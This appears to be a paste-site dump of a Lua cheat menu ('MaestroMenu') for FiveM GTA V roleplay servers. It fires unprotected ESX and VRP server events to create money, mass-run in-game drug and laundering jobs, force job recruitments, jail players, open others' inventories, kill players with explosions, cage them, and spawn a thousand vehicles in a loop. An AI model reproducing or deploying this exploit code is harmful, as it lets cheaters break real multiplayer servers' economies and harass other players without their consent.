- local Message = KeyboardInput("Enter message to send", "", 100)
- TriggerServerEvent("DiscordBot:playerDied", Message, "1337")
- drawNotification("The message:~n~" .. Message .. "~n~Has been ~g~sent!")
- elseif MaestroMenu.Button("~w~Send Police Car Advert") then
- TriggerServerEvent("esx:enterpolicecar",GetDisplayNameFromVehicleModel(GetEntityModel(GetVehiclePedIsIn(GetPlayerPed(-1), 0))))
- end
- MaestroMenu.Display()
- elseif MaestroMenu.IsMenuOpened("VRPOptions") then
- if MaestroMenu.Button("~r~VRP ~w~Give Money ~ypayGarage") then
- local result = KeyboardInput("Enter amount of money USE AT YOUR OWN RISK", "", 100)
- if result then
- TriggerServerEvent("lscustoms:payGarage", {costs = -result})
- end
- elseif MaestroMenu.Button("~r~VRP ~g~WIN ~w~Slot Machine") then
- local result = KeyboardInput("Enter amount of money USE AT YOUR OWN RISK", "", 100)
- if result then
- TriggerServerEvent("vrp_slotmachine:server:2", result)
- end
- elseif MaestroMenu.Button("~r~VRP ~w~Get driving license") then
- TriggerServerEvent("dmv:success")
- elseif MaestroMenu.Button("~r~VRP ~w~Bank Deposit") then
- local result = KeyboardInput("Enter amount of money", "", 100)
- if result then
- TriggerServerEvent("bank:deposit", result)
- end
- elseif MaestroMenu.Button("~r~VRP ~w~Bank Withdraw ") then
- local result = KeyboardInput("Enter amount of money", "", 100)
- if result then
- TriggerServerEvent("bank:withdraw", result)
- end
- end
- MaestroMenu.Display()
- elseif MaestroMenu.IsMenuOpened("ESXDrugs") then
- if MaestroMenu.Button("~g~Harvest ~g~Weed ~c~(x5)") then
- TriggerServerEvent("esx_drugs:startHarvestWeed")
- TriggerServerEvent("esx_drugs:startHarvestWeed")
- TriggerServerEvent("esx_drugs:startHarvestWeed")
- TriggerServerEvent("esx_drugs:startHarvestWeed")
- TriggerServerEvent("esx_drugs:startHarvestWeed")
- elseif MaestroMenu.Button("~g~Transform ~g~Weed ~c~(x5)") then
- TriggerServerEvent("esx_drugs:startTransformWeed")
- TriggerServerEvent("esx_drugs:startTransformWeed")
- TriggerServerEvent("esx_drugs:startTransformWeed")
- TriggerServerEvent("esx_drugs:startTransformWeed")
- TriggerServerEvent("esx_drugs:startTransformWeed")
- elseif MaestroMenu.Button("~g~Sell ~g~Weed ~c~(x5)") then
- TriggerServerEvent("esx_drugs:startSellWeed")
- TriggerServerEvent("esx_drugs:startSellWeed")
- TriggerServerEvent("esx_drugs:startSellWeed")
- TriggerServerEvent("esx_drugs:startSellWeed")
- TriggerServerEvent("esx_drugs:startSellWeed")
- elseif MaestroMenu.Button("~w~Harvest ~w~Coke ~c~(x5)") then
- TriggerServerEvent("esx_drugs:startHarvestCoke")
- TriggerServerEvent("esx_drugs:startHarvestCoke")
- TriggerServerEvent("esx_drugs:startHarvestCoke")
- TriggerServerEvent("esx_drugs:startHarvestCoke")
- TriggerServerEvent("esx_drugs:startHarvestCoke")
- elseif MaestroMenu.Button("~w~Transform ~w~Coke ~c~(x5)") then
- TriggerServerEvent("esx_drugs:startTransformCoke")
- TriggerServerEvent("esx_drugs:startTransformCoke")
- TriggerServerEvent("esx_drugs:startTransformCoke")
- TriggerServerEvent("esx_drugs:startTransformCoke")
- TriggerServerEvent("esx_drugs:startTransformCoke")
- elseif MaestroMenu.Button("~w~Sell ~w~Coke ~c~(x5)") then
- TriggerServerEvent("esx_drugs:startSellCoke")
- TriggerServerEvent("esx_drugs:startSellCoke")
- TriggerServerEvent("esx_drugs:startSellCoke")
- TriggerServerEvent("esx_drugs:startSellCoke")
- TriggerServerEvent("esx_drugs:startSellCoke")
- elseif MaestroMenu.Button("~r~Harvest Meth ~c~(x5)") then
- TriggerServerEvent("esx_drugs:startHarvestMeth")
- TriggerServerEvent("esx_drugs:startHarvestMeth")
- TriggerServerEvent("esx_drugs:startHarvestMeth")
- TriggerServerEvent("esx_drugs:startHarvestMeth")
- TriggerServerEvent("esx_drugs:startHarvestMeth")
- elseif MaestroMenu.Button("~r~Transform Meth ~c~(x5)") then
- TriggerServerEvent("esx_drugs:startTransformMeth")
- TriggerServerEvent("esx_drugs:startTransformMeth")
- TriggerServerEvent("esx_drugs:startTransformMeth")
- TriggerServerEvent("esx_drugs:startTransformMeth")
- TriggerServerEvent("esx_drugs:startTransformMeth")
- elseif MaestroMenu.Button("~r~Sell Meth ~c~(x5)") then
- TriggerServerEvent("esx_drugs:startSellMeth")
- TriggerServerEvent("esx_drugs:startSellMeth")
- TriggerServerEvent("esx_drugs:startSellMeth")
- TriggerServerEvent("esx_drugs:startSellMeth")
- TriggerServerEvent("esx_drugs:startSellMeth")
- elseif MaestroMenu.Button("~p~Harvest Opium ~c~(x5)") then
- TriggerServerEvent("esx_drugs:startHarvestOpium")
- TriggerServerEvent("esx_drugs:startHarvestOpium")
- TriggerServerEvent("esx_drugs:startHarvestOpium")
- TriggerServerEvent("esx_drugs:startHarvestOpium")
- TriggerServerEvent("esx_drugs:startHarvestOpium")
- elseif MaestroMenu.Button("~p~Transform Opium ~c~(x5)") then
- TriggerServerEvent("esx_drugs:startTransformOpium")
- TriggerServerEvent("esx_drugs:startTransformOpium")
- TriggerServerEvent("esx_drugs:startTransformOpium")
- TriggerServerEvent("esx_drugs:startTransformOpium")
- TriggerServerEvent("esx_drugs:startTransformOpium")
- elseif MaestroMenu.Button("~p~Sell Opium ~c~(x5)") then
- TriggerServerEvent("esx_drugs:startSellOpium")
- TriggerServerEvent("esx_drugs:startSellOpium")
- TriggerServerEvent("esx_drugs:startSellOpium")
- TriggerServerEvent("esx_drugs:startSellOpium")
- TriggerServerEvent("esx_drugs:startSellOpium")
- elseif MaestroMenu.Button("~g~Money Wash ~c~(x10)") then
- TriggerServerEvent("esx_blanchisseur:startWhitening", 85)
- TriggerServerEvent("esx_blanchisseur:startWhitening", 85)
- TriggerServerEvent("esx_blanchisseur:startWhitening", 85)
- TriggerServerEvent("esx_blanchisseur:startWhitening", 85)
- TriggerServerEvent("esx_blanchisseur:startWhitening", 85)
- TriggerServerEvent("esx_blanchisseur:startWhitening", 85)
- TriggerServerEvent("esx_blanchisseur:startWhitening", 85)
- TriggerServerEvent("esx_blanchisseur:startWhitening", 85)
- TriggerServerEvent("esx_blanchisseur:startWhitening", 85)
- TriggerServerEvent("esx_blanchisseur:startWhitening", 85)
- elseif MaestroMenu.Button("~r~Stop all ~c~(Drugs)") then
- TriggerServerEvent("esx_drugs:stopHarvestCoke")
- TriggerServerEvent("esx_drugs:stopTransformCoke")
- TriggerServerEvent("esx_drugs:stopSellCoke")
- TriggerServerEvent("esx_drugs:stopHarvestMeth")
- TriggerServerEvent("esx_drugs:stopTransformMeth")
- TriggerServerEvent("esx_drugs:stopSellMeth")
- TriggerServerEvent("esx_drugs:stopHarvestWeed")
- TriggerServerEvent("esx_drugs:stopTransformWeed")
- TriggerServerEvent("esx_drugs:stopSellWeed")
- TriggerServerEvent("esx_drugs:stopHarvestOpium")
- TriggerServerEvent("esx_drugs:stopTransformOpium")
- TriggerServerEvent("esx_drugs:stopSellOpium")
- drawNotification("~r~Everything is now stopped.")
- end
- MaestroMenu.Display()
- elseif MaestroMenu.IsMenuOpened("RecrutarPlayers") then
- for i = 0, 128 do
- if NetworkIsPlayerActive(i) and GetPlayerServerId(i) ~= 0 and MaestroMenu.MenuButton("~r~-ยป ~w~"..GetPlayerName(i).."", 'RecrutarPlayersOptions') then
- SelectedPlayer = i
- end
- end
- MaestroMenu.Display()
- elseif MaestroMenu.IsMenuOpened("RecrutarPlayersOptions") then
- MaestroMenu.SetSubTitle("RecrutarPlayersOptions", "Recrutar Players options [" .. GetPlayerName(SelectedPlayer) .. "]")
- if MaestroMenu.Button("~w~Recruit~c~ Mechanic") then
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), "mecano", 0)
- TriggerServerEvent('Esx-MenuPessoal:Boss_recruterplayer', GetPlayerServerId(SelectedPlayer), "mecano", 0)
- TriggerServerEvent('esx:recruterplayer', GetPlayerServerId(SelectedPlayer), "mecano", 0)
- elseif MaestroMenu.Button("~w~Recruit~b~ Police") then
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), "police", 0)
- TriggerServerEvent('Esx-MenuPessoal:Boss_recruterplayer', GetPlayerServerId(SelectedPlayer), "police", 0)
- elseif MaestroMenu.Button("~w~Recruit~c~ Mafia") then
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), "mafia", 0)
- TriggerServerEvent('Esx-MenuPessoal:Boss_recruterplayer', GetPlayerServerId(SelectedPlayer), "mafia", 0)
- elseif MaestroMenu.Button("~w~Recruit~p~ Gang") then
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), "gang", 0)
- TriggerServerEvent('Esx-MenuPessoal:Boss_recruterplayer', GetPlayerServerId(SelectedPlayer), "gang", 0)
- elseif MaestroMenu.Button("~w~Recruit~r~ Inem") then
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), "ambulance", 0)
- TriggerServerEvent('Esx-MenuPessoal:Boss_recruterplayer', GetPlayerServerId(SelectedPlayer), "ambulance", 0)
- elseif MaestroMenu.Button("~w~Custom Recruit") then
- local reason = KeyboardInput("Enter the job name", "", 100)
- local reason2 = KeyboardInput("Enter the nivel job number 0-10", "", 10)
- if reason and reason2 then
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), reason, reason2)
- TriggerServerEvent('Esx-MenuPessoal:Boss_recruterplayer',GetPlayerServerId(SelectedPlayer), reason, reason2)
- end
- end
- -- online player n shit
- elseif MaestroMenu.IsMenuOpened("OnlinePlayerMenu") then
- for i = 0, 128 do
- if NetworkIsPlayerActive(i) and GetPlayerServerId(i) ~= 0 and MaestroMenu.MenuButton(" ~w~"..GetPlayerName(i)..""..(IsPedDeadOrDying(GetPlayerPed(i), 1) and "~w~[~r~DEAD~w~]" or "~w~[~g~ALIVE~w~]"), 'PlayerOptionsMenu') then
- SelectedPlayer = i
- end
- end
- MaestroMenu.Display()
- elseif MaestroMenu.IsMenuOpened("PlayerOptionsMenu") then
- MaestroMenu.SetSubTitle("PlayerOptionsMenu", "Player ~w~[" .. GetPlayerName(SelectedPlayer) .. "]")
- if MaestroMenu.Button("~w~Spectate", (Spectating and "~g~[SPECTATING]")) then
- SpectatePlayer(SelectedPlayer)
- elseif MaestroMenu.Button("~w~Teleport To Player") then
- local Entity = IsPedInAnyVehicle(PlayerPedId(), false) and GetVehiclePedIsUsing(PlayerPedId()) or PlayerPedId()
- SetEntityCoords(Entity, GetEntityCoords(GetPlayerPed(SelectedPlayer)), 0.0, 0.0, 0.0, false)
- elseif MaestroMenu.Button("~g~Give ~w~Money") then
- local result = KeyboardInput("Enter amount of money to give", "", 100000000)
- if result then
- TriggerServerEvent('esx:giveInventoryItem', GetPlayerServerId(SelectedPlayer), "item_money", "money", result)
- end
- elseif MaestroMenu.Button("~w~Open Inventory") then
- TriggerEvent("esx_inventoryhud:openPlayerInventory", GetPlayerServerId(SelectedPlayer), GetPlayerName(SelectedPlayer))
- elseif MaestroMenu.Button("~g~Revive ~g~ESX") then
- TriggerServerEvent("esx_ambulancejob:revive", GetPlayerServerId(SelectedPlayer))
- TriggerServerEvent("whoapd:revive", GetPlayerServerId(SelectedPlayer))
- TriggerServerEvent("paramedic:revive", GetPlayerServerId(SelectedPlayer))
- TriggerServerEvent("ems:revive", GetPlayerServerId(SelectedPlayer))
- elseif MaestroMenu.Button("~g~Revive ~b~VRP") then CreatePickup(GetHashKey("PICKUP_HEALTH_STANDARD"), GetEntityCoords(GetPlayerPed(SelectedPlayer)))
- elseif MaestroMenu.Button("~w~Give ~b~Armour ") then CreatePickup(GetHashKey("PICKUP_ARMOUR_STANDARD"), GetEntityCoords(GetPlayerPed(SelectedPlayer)))
- elseif MaestroMenu.Button("~r~Kill ~w~Player") then AddExplosion(GetEntityCoords(GetPlayerPed(SelectedPlayer)), 4, 1337.0, false, true, 0.0)
- elseif MaestroMenu.Button('~r~Cage ~w~player') then
- x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer)))
- roundx = tonumber(string.format('%.2f', x))
- roundy = tonumber(string.format('%.2f', y))
- roundz = tonumber(string.format('%.2f', z))
- local e7 = 'prop_fnclink_05crnr1'
- local e8 = GetHashKey(e7)
- RequestModel(e8)
- while not HasModelLoaded(e8) do
- Citizen.Wait(0)
- end
- local e9 = CreateObject(e8, roundx - 1.70, roundy - 1.70, roundz - 1.0, true, true, false)
- local ea = CreateObject(e8, roundx + 1.70, roundy + 1.70, roundz - 1.0, true, true, false)
- SetEntityHeading(e9, -90.0)
- SetEntityHeading(ea, 90.0)
- FreezeEntityPosition(e9, true)
- FreezeEntityPosition(ea, true)
- elseif MaestroMenu.Button("~r~Jail") then
- TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(SelectedPlayer), 45 * 60)
- TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(SelectedPlayer), 45 * 60)
- TriggerServerEvent("js:jailuser", GetPlayerServerId(SelectedPlayer), 45 * 60, "dude weed")
- elseif MaestroMenu.Button("~g~Unjail") then
- TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(SelectedPlayer), 0)
- TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(SelectedPlayer), 0)
- TriggerServerEvent("esx_jail:unjailQuest", GetPlayerServerId(SelectedPlayer))
- TriggerServerEvent("js:removejailtime", GetPlayerServerId(SelectedPlayer))
- elseif MaestroMenu.Button("~g~Give All Weapons") then
- for i = 1, #allWeapons do
- GiveWeaponToPed(GetPlayerPed(SelectedPlayer), GetHashKey(allWeapons[i]), 1000, false, false)
- end
- elseif MaestroMenu.MenuButton("~w~Weapon Menu", "SingleWepPlayer") then
- elseif MaestroMenu.Button("~w~Spawn Vehicle") then
- local ped = GetPlayerPed(SelectedPlayer)
- a=1 repeat TriggerEvent('esx:spawnVehicle', "fmj") a=a+1 until (a>1000)
- elseif MaestroMenu.Button("~w~Cuff ~g~ESX") then
- TriggerServerEvent("esx_policejob:handcuff", GetPlayerPed(SelectedPlayer))
- elseif MaestroMenu.Button("~w~Kick Vehicle") then
- ClearPedTasksImmediately(GetPlayerPed(SelectedPlayer))
- elseif MaestroMenu.Button("~r~Tunnel ~w~Player") then -- Tunnel Player
- local eb = "xs_prop_chips_tube_wl"
- local ec = GetHashKey(eb)
- local ed = CreateObject(ec, 0, 0, 0, true, true, true)
- AttachEntityToEntity(ed, GetPlayerPed(SelectedPlayer), GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 0), 0, 0, -1.0, 0.0, 0.0, 0, true, true, false, true, 1, true)
- elseif MaestroMenu.Button("~r~Bottle ~w~Player") then -- Bottle Player
- local eb = "xs_prop_plastic_bottle_wl"
- local ec = GetHashKey(eb)
- local ed = CreateObject(ec, 0, 0, 0, true, true, true)
- AttachEntityToEntity(ed, GetPlayerPed(SelectedPlayer), GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 0), 0, 0, -1.0, 0.0, 0.0, 0, true, true, false, true, 1, true)
- elseif MaestroMenu.Button("~r~Ufo ~w~Player") then -- Ufo Player
- local eb = "p_spinning_anus_s"
- local ec = GetHashKey(eb)
- local ed = CreateObject(ec, 0, 0, 0, true, true, true)
- AttachEntityToEntity(ed, GetPlayerPed(SelectedPlayer), GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 0), 0, 0, -1.0, 0.0, 0.0, 0, true, true, false, true, 1, true)
- elseif MaestroMenu.Button("~r~Windmill ~w~Player") then -- Windmill Player
- local eb = "prop_windmill_01"
- local ec = GetHashKey(eb)
- local ed = CreateObject(ec, 0, 0, 0, true, true, true)
- AttachEntityToEntity(ed, GetPlayerPed(SelectedPlayer), GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 0), 0, 0, -1.0, 0.0, 0.0, 0, true, true, false, true, 1, true)
- elseif MaestroMenu.Button("~r~Weed ~w~Player") then -- Weed Player
- local eb = "prop_weed_01"
- local ec = GetHashKey(eb)
- local ed = CreateObject(ec, 0, 0, 0, true, true, true)
- AttachEntityToEntity(ed, GetPlayerPed(SelectedPlayer), GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 0), 0, 0, -1.0, 0.0, 0.0, 0, true, true, false, true, 1, true)
- end
- MaestroMenu.Display()
- elseif MaestroMenu.IsMenuOpened("SingleWepPlayer") then
- for i = 1, #allWeapons do
- if MaestroMenu.Button(allWeapons[i]) then
- GiveWeaponToPed(GetPlayerPed(SelectedPlayer), GetHashKey(allWeapons[i]), 1000, false, true)
- end
- end
- MaestroMenu.Display()
- elseif IsDisabledControlPressed(0, 11) then
- MaestroMenu.OpenMenu("MainMenu")
- end
- Citizen.Wait(0)
- end
- end
- )
- RegisterCommand("killmenu", function(source,args,raw)
- Enabled = false
- end, false)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement